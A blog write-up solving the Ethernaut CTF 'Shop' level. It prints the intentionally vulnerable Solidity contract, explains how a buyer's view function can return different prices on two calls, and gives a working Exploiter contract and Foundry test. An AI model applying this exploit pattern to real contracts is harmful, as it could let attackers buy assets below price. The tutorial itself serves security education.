Emanuele Ricci
Ethernaut Challenge #20 Solution — Shop
This is Part 20 of the "Let’s play OpenZeppelin Ethernaut CTF" series, where I will explain how to solve each challenge.
The Ethernaut is a Web3/Solidity based wargame created by OpenZeppelin. Each level is a smart contract that needs to be 'hacked'. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.
Challenge #20: Shop
Сan you get the item from the shop for less than the price asked?
Things that might help:
Shop
expects to be used from aBuyer
- Understanding restrictions of view functions
Level author(s): Ivan Zakharov
The goal of this challenge is to find a way to buy the item from the Shop
contract for a price lower compared to the one for which the item is sold.
Study the contracts
Let's review the contract that is fairly small in code length
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
As we can see, we have a price
inside the contract that represent the amount of wei
that a Buyer
must pay to purchase the item.
The item can also be purchased only if it has not been sold yet. This property is handled by the state variable isSold
that is initialized to false
and then changed to true
in the buy
function.
Let's see in detail the buy
function
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
This is the main function of the contract. It cast the msg.sender
to Buyer
and by doing that it expect that the sender of the transaction is a Contract that implements the price
function defined in the Buyer
interface.
The function price() external view returns (uint256);
even if it's not explicit in the Challenge description should return the price that the buyer is willing to pay to purchase the shop's item.
The contract check if the Buyer's price (what the buyer is willing to pay) is greater than the Shop's price and check that the item has not been sold yet. If this requirement pass, it will update isSold
to true
and update the price
's value to _buyer.price();
that in theory should be the same one returned just an instruction before, right???
This is not a real case scenario, it's just a challenge to explain a concept. There's no fund transfer involved in the transaction.
The key concept here is: you should never blindly trust what you expect an external actor will do, even if you define a specific interface with a logic that the external actor should trust.
Never ever trust blindly things that are not under your control.
Because we are the buyer, we can simply implement the price
function like this
function price() external view returns (uint256) {
return victim.isSold() ? 1 : 1000;
}
Because price
is a view
function we cannot have an internal state variable to change the uint256
returned by the function, but we are enabled to make external call functions that are marked as view
or pure
.
Just as a reminder from the Solidity Documentation about what view
function can and can't do:
A
view
function cannot modify the state of the contract. In particular it cannot
- Write to state variables.
- Emit events.
- Create other contracts.
- Use selfdestruct.
- Send Ether via calls.
- Call any function not marked view or pure.
- Use low-level calls.
- Use inline assembly that contains certain opcodes.
Solution code
First, we need to deploy a Contract that inherit and implements the Buyer
interface required by the Shop
contract Exploiter {
// victim reference
Shop private victim;
// trigger the exploit
function buy(Shop _victim) external {
victim = _victim;
victim.buy();
}
// if the item has not been sold we return what the Shop's want to see
// but after that (by knowing the Shop logic) we ruturn what we are really
// going to pay to purchase the item (much much lower compared to the real item's price)
function price() external view returns (uint256) {
return victim.isSold() ? 1 : 1000;
}
}
Now we can deploy the exploiter contract and run the test to solve the challenge
function exploitLevel() internal override {
vm.startPrank(player, player);
// deploy the exploiter contract
Exploiter exploiter = new Exploiter();
// trigger the exploit and buy the item
exploiter.buy(level);
// assert that we have solved the challenge
assertEq(level.isSold(), true);
vm.stopPrank();
}
You can read the full solution of the challenge opening Shop.t.sol
Further reading
Disclaimer
All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.
I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.
DO NOT USE IN PRODUCTION.